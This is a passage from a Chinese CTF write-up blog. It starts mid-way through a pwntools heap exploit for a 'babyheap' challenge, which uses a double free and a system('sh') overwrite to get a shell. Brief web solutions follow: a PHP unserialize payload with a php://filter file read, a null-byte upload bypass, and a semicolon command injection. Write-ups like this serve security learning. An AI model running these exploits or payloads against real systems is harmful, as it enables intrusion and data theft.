    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./babyheap')
#p = remote('202.114.194.178',10565)
elf = ELF('./babyheap')
libc = ELF('./libc.so.6')
#libc = ELF('../glibc-all-in-one-master/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
#libc = ELF('./libc/libc13-2.27.so')
def add(index,size,value):
    sla(b'CNote > ', b'1')
    sla(b'Index > ', str(index).encode())
    sla(b'Type > ',b'2')
    sla(b'th > ', str(size).encode())
    sa(b'Value > ',value)

def show(index):
    sla(b'CNote > ', b'3')
    sla(b'Index > ', str(index).encode())
def free(index):
    sla(b'CNote > ', b'2')
    sla(b'Index > ', str(index).encode())
    
puts_str=0x80486de
    
add(0,0x30,b'a\n')
add(1,0x30,b'a\n')
add(2,0x30,b'a\n')
#debug()

free(0)
free(1)

#debug()
add(3,0xc,b'sh\x00\x00'+p32(elf.sym['system'])+b'\n')

#debug()

free(0)

inter()

Web

签到(ctrl+u)

2048

ctrl+u拿到一半,另一半说玩到4096会给。

有js代码,可以先搜索有没有post什么php页面。发现没有,即纯js前端代码,另一半flag在在里面。这里直接搜索score,找到总分判断函数

 拿去解密

 拿到flag

你会发请求吗?(套娃版) 

 真套娃哈

简单的反序列化

 include伪协议读文件

<?php
include "flag.php";

class Connection
{
    public $file;

    public function __construct($file)
    {
        $this->file = $file;
    }


    public function __destruct()
    {
        include("php://filter/read=convert.base64-encode/resource=flag.php");
    }
}


$b=unserialize('O:10:"Connection":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}');
$a=new Connection('php://filter/read=convert.base64-encode/resource=flag.php');
echo serialize($a);


?>

uploadGIF

文件上传,经过burp判断出是后缀名检测

使用00截断

然后就上传成功咯,访问得到flag

这里因为是cat flag.php代码,要ctrl+u才能查看

美丽的风景

ctrl+u有提示

我们就照着他说的加一个get请求

 源码出来了,这里就过滤几个,用;隔开挺好利用的

 先ls一下,然后cat flag.txt就好了

这里绕过方法也很多,举例一个

 

拿到flag 

RE

有点pwn基础,就能做一点简单的,就不放wp了

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值